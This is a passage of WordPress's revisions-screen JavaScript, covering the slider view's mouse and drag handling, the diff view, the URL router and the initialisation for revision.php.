974 'aria-labelledby': 'diff-title-from diff-title-author',
975 'aria-describedby': 'revisions-slider-hidden-help',
976 } );
977 handles.last().attr( {
978 role: 'button',
979 'aria-labelledby': 'diff-title-to diff-title-author',
980 'aria-describedby': 'revisions-slider-hidden-help',
981 } );
982 },
983
984 mouseMove: function( e ) {
985 var zoneCount = this.model.revisions.length - 1, // One fewer zone than models.
986 sliderFrom = this.$el.allOffsets()[this.direction], // "From" edge of slider.
987 sliderWidth = this.$el.width(), // Width of slider.
988 tickWidth = sliderWidth / zoneCount, // Calculated width of zone.
989 actualX = ( isRtl ? $(window).width() - e.pageX : e.pageX ) - sliderFrom, // Flipped for RTL - sliderFrom.
990 currentModelIndex = Math.floor( ( actualX + ( tickWidth / 2 ) ) / tickWidth ); // Calculate the model index.
991
992 // Ensure sane value for currentModelIndex.
993 if ( currentModelIndex < 0 ) {
994 currentModelIndex = 0;
995 } else if ( currentModelIndex >= this.model.revisions.length ) {
996 currentModelIndex = this.model.revisions.length - 1;
997 }
998
999 // Update the tooltip mode.
1000 this.model.set({ hoveredRevision: this.model.revisions.at( currentModelIndex ) });
1001 },
1002
1003 mouseLeave: function() {
1004 this.model.set({ hovering: false });
1005 },
1006
1007 mouseEnter: function() {
1008 this.model.set({ hovering: true });
1009 },
1010
1011 applySliderSettings: function() {
1012 this.$el.slider( _.pick( this.model.toJSON(), 'value', 'values', 'range' ) );
1013 var handles = this.$('a.ui-slider-handle');
1014
1015 if ( this.model.get('compareTwoMode') ) {
1016 // In RTL mode the 'left handle' is the second in the slider, 'right' is first.
1017 handles.first()
1018 .toggleClass( 'to-handle', !! isRtl )
1019 .toggleClass( 'from-handle', ! isRtl );
1020 handles.last()
1021 .toggleClass( 'from-handle', !! isRtl )
1022 .toggleClass( 'to-handle', ! isRtl );
1023 this.accessibilityHelper();
1024 } else {
1025 handles.removeClass('from-handle to-handle');
1026 this.accessibilityHelper();
1027 }
1028
1029 },
1030
1031 start: function( event, ui ) {
1032 this.model.set({ scrubbing: true });
1033
1034 // Track the mouse position to enable smooth dragging,
1035 // overrides default jQuery UI step behavior.
1036 $( window ).on( 'mousemove.wp.revisions', { view: this }, function( e ) {
1037 var handles,
1038 view = e.data.view,
1039 leftDragBoundary = view.$el.offset().left,
1040 sliderOffset = leftDragBoundary,
1041 sliderRightEdge = leftDragBoundary + view.$el.width(),
1042 rightDragBoundary = sliderRightEdge,
1043 leftDragReset = '0',
1044 rightDragReset = '100%',
1045 handle = $( ui.handle );
1046
1047 // In two handle mode, ensure handles can't be dragged past each other.
1048 // Adjust left/right boundaries and reset points.
1049 if ( view.model.get('compareTwoMode') ) {
1050 handles = handle.parent().find('.ui-slider-handle');
1051 if ( handle.is( handles.first() ) ) {
1052 // We're the left handle.
1053 rightDragBoundary = handles.last().offset().left;
1054 rightDragReset = rightDragBoundary - sliderOffset;
1055 } else {
1056 // We're the right handle.
1057 leftDragBoundary = handles.first().offset().left + handles.first().width();
1058 leftDragReset = leftDragBoundary - sliderOffset;
1059 }
1060 }
1061
1062 // Follow mouse movements, as long as handle remains inside slider.
1063 if ( e.pageX < leftDragBoundary ) {
1064 handle.css( 'left', leftDragReset ); // Mouse to left of slider.
1065 } else if ( e.pageX > rightDragBoundary ) {
1066 handle.css( 'left', rightDragReset ); // Mouse to right of slider.
1067 } else {
1068 handle.css( 'left', e.pageX - sliderOffset ); // Mouse in slider.
1069 }
1070 } );
1071 },
1072
1073 getPosition: function( position ) {
1074 return isRtl ? this.model.revisions.length - position - 1: position;
1075 },
1076
1077 // Responds to slide events.
1078 slide: function( event, ui ) {
1079 var attributes, movedRevision;
1080 // Compare two revisions mode.
1081 if ( this.model.get('compareTwoMode') ) {
1082 // Prevent sliders from occupying same spot.
1083 if ( ui.values[1] === ui.values[0] ) {
1084 return false;
1085 }
1086 if ( isRtl ) {
1087 ui.values.reverse();
1088 }
1089 attributes = {
1090 from: this.model.revisions.at( this.getPosition( ui.values[0] ) ),
1091 to: this.model.revisions.at( this.getPosition( ui.values[1] ) )
1092 };
1093 } else {
1094 attributes = {
1095 to: this.model.revisions.at( this.getPosition( ui.value ) )
1096 };
1097 // If we're at the first revision, unset 'from'.
1098 if ( this.getPosition( ui.value ) > 0 ) {
1099 attributes.from = this.model.revisions.at( this.getPosition( ui.value ) - 1 );
1100 } else {
1101 attributes.from = undefined;
1102 }
1103 }
1104 movedRevision = this.model.revisions.at( this.getPosition( ui.value ) );
1105
1106 // If we are scrubbing, a scrub to a revision is considered a hover.
1107 if ( this.model.get('scrubbing') ) {
1108 attributes.hoveredRevision = movedRevision;
1109 }
1110
1111 this.model.set( attributes );
1112 },
1113
1114 stop: function() {
1115 $( window ).off('mousemove.wp.revisions');
1116 this.model.updateSliderSettings(); // To snap us back to a tick mark.
1117 this.model.set({ scrubbing: false });
1118 }
1119 });
1120
1121 // The diff view.
1122 // This is the view for the current active diff.
1123 revisions.view.Diff = wp.Backbone.View.extend({
1124 className: 'revisions-diff',
1125 template: wp.template('revisions-diff'),
1126
1127 // Generate the options to be passed to the template.
1128 prepare: function() {
1129 return _.extend({ fields: this.model.fields.toJSON() }, this.options );
1130 }
1131 });
1132
1133 // The revisions router.
1134 // Maintains the URL routes so browser URL matches state.
1135 revisions.Router = Backbone.Router.extend({
1136 initialize: function( options ) {
1137 this.model = options.model;
1138
1139 // Maintain state and history when navigating.
1140 this.listenTo( this.model, 'update:diff', _.debounce( this.updateUrl, 250 ) );
1141 this.listenTo( this.model, 'change:compareTwoMode', this.updateUrl );
1142 },
1143
1144 baseUrl: function( url ) {
1145 return this.model.get('baseUrl') + url;
1146 },
1147
1148 updateUrl: function() {
1149 var from = this.model.has('from') ? this.model.get('from').id : 0,
1150 to = this.model.get('to').id;
1151 if ( this.model.get('compareTwoMode' ) ) {
1152 this.navigate( this.baseUrl( '?from=' + from + '&to=' + to ), { replace: true } );
1153 } else {
1154 this.navigate( this.baseUrl( '?revision=' + to ), { replace: true } );
1155 }
1156 },
1157
1158 handleRoute: function( a, b ) {
1159 var compareTwo = _.isUndefined( b );
1160
1161 if ( ! compareTwo ) {
1162 b = this.model.revisions.get( a );
1163 a = this.model.revisions.prev( b );
1164 b = b ? b.id : 0;
1165 a = a ? a.id : 0;
1166 }
1167 }
1168 });
1169
1170 /**
1171 * Initialize the revisions UI for revision.php.
1172 */
1173 revisions.init = function() {
1174 var state;
1175
1176 // Bail if the current page is not revision.php.
1177 if ( ! window.adminpage || 'revision-php' !== window.adminpage ) {
1178 return;
1179 }
1180
1181 state = new revisions.model.FrameState({
1182 initialDiffState: {
1183 // wp_localize_script doesn't stringifies ints, so cast them.
1184 to: parseInt( revisions.settings.to, 10 ),
1185 from: parseInt( revisions.settings.from, 10 ),
1186 // wp_localize_script does not allow for top-level booleans so do a comparator here.
1187 compareTwoMode: ( revisions.settings.compareTwoMode === '1' )
1188 },
1189 diffData: revisions.settings.diffData,
1190 baseUrl: revisions.settings.baseUrl,
1191 postId: parseInt( revisions.settings.postId, 10 )
1192 }, {
1193 revisions: new revisions.model.Revisions( revisions.settings.revisionData )
1194 });
1195
1196 revisions.view.frame = new revisions.view.Frame({
1197 model: state
1198 }).render();
1199 };
1200
1201 $( revisions.init );
1202}(jQuery));
1203